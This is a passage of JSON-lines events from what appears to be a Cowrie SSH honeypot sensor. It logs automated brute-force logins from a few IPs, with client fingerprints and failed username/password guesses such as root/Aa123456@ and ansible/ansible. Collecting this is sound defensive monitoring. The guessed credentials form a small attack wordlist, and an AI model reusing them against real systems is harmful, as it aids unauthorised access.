{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:20.277723Z","src_ip":"91.92.40.171","session":"f97e9171a942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:20.411008Z","src_ip":"91.92.42.133","session":"2466f6b66c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60644,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7431d6ef691","protocol":"ssh","message":"New connection: 91.92.42.133:60644 (159.203.135.109:22) [session: a7431d6ef691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:21.124927Z"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:22.340801Z","src_ip":"91.92.40.171","session":"f97e9171a942","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:22.547165Z","src_ip":"91.92.42.133","session":"a7431d6ef691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:22.551508Z","src_ip":"91.92.42.133","session":"a7431d6ef691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:22.937695Z","src_ip":"91.92.42.133","session":"2466f6b66c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:23.507366Z","src_ip":"91.92.40.171","session":"ff16b498c2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57156,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b43e425baa","protocol":"ssh","message":"New connection: 91.92.40.171:57156 (159.203.135.109:22) [session: c1b43e425baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:25.146455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:25.150681Z","src_ip":"91.92.40.171","session":"c1b43e425baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:25.514966Z","src_ip":"91.92.40.171","session":"ff16b498c2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:25.700534Z","src_ip":"91.92.40.171","session":"c1b43e425baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:25.755503Z","src_ip":"91.92.42.133","session":"a7431d6ef691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:27.176855Z","src_ip":"91.92.42.133","session":"a7431d6ef691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:27.503440Z","src_ip":"91.92.40.171","session":"c1b43e425baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.222430Z","src_ip":"91.92.40.171","session":"c1b43e425baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0f2344a248a","protocol":"ssh","message":"New connection: 91.92.40.171:58820 (159.203.135.109:22) [session: d0f2344a248a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.521878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.550702Z","src_ip":"91.92.40.171","session":"d0f2344a248a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.618866Z","src_ip":"91.92.40.171","session":"d0f2344a248a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.938828Z","src_ip":"91.92.40.171","session":"d0f2344a248a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54774,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1cd4ec52a8","protocol":"ssh","message":"New connection: 91.92.42.133:54774 (159.203.135.109:22) [session: 0b1cd4ec52a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:29.976625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:30.288494Z","src_ip":"91.92.42.133","session":"0b1cd4ec52a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:30.292756Z","src_ip":"91.92.42.133","session":"0b1cd4ec52a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113203048706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:30.590381Z","src_ip":"132.148.22.172","session":"4d53417213ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:31.053199Z","src_ip":"91.92.40.171","session":"d0f2344a248a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:31.846967Z","src_ip":"91.92.42.133","session":"0b1cd4ec52a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:33.615836Z","src_ip":"91.92.42.133","session":"0b1cd4ec52a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51050,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d2025350b9","protocol":"ssh","message":"New connection: 91.92.40.171:51050 (159.203.135.109:22) [session: d1d2025350b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:34.835076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:35.075538Z","src_ip":"91.92.40.171","session":"d1d2025350b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:35.079528Z","src_ip":"91.92.40.171","session":"d1d2025350b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.223046Z","src_ip":"91.92.40.171","session":"d1d2025350b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":40900,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f363d2d297d","protocol":"ssh","message":"New connection: 45.140.193.156:40900 (10.17.0.5:22) [session: 5f363d2d297d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.359706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.363779Z","src_ip":"45.140.193.156","session":"5f363d2d297d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.488771Z","src_ip":"45.140.193.156","session":"5f363d2d297d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50434,"dst_ip":"159.203.135.109","dst_port":22,"session":"d719015abefc","protocol":"ssh","message":"New connection: 91.92.42.133:50434 (159.203.135.109:22) [session: d719015abefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.577823Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"201201","message":"login attempt [root/201201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:36.981476Z","src_ip":"45.140.193.156","session":"5f363d2d297d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:37.373277Z","src_ip":"91.92.40.171","session":"d1d2025350b9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:37.416957Z","src_ip":"91.92.42.133","session":"d719015abefc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:37.420223Z","src_ip":"91.92.42.133","session":"d719015abefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:38.097056Z","src_ip":"45.140.193.156","session":"5f363d2d297d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:40.114303Z","src_ip":"91.92.42.133","session":"d719015abefc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51104,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0e2cbe7e9e1","protocol":"ssh","message":"New connection: 91.92.40.171:51104 (159.203.135.109:22) [session: d0e2cbe7e9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:41.052876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:41.123757Z","src_ip":"91.92.40.171","session":"d0e2cbe7e9e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:41.214850Z","src_ip":"91.92.40.171","session":"d0e2cbe7e9e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:41.610628Z","src_ip":"91.92.40.171","session":"d0e2cbe7e9e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:41.883524Z","src_ip":"91.92.42.133","session":"d719015abefc","protocol":"ssh"}
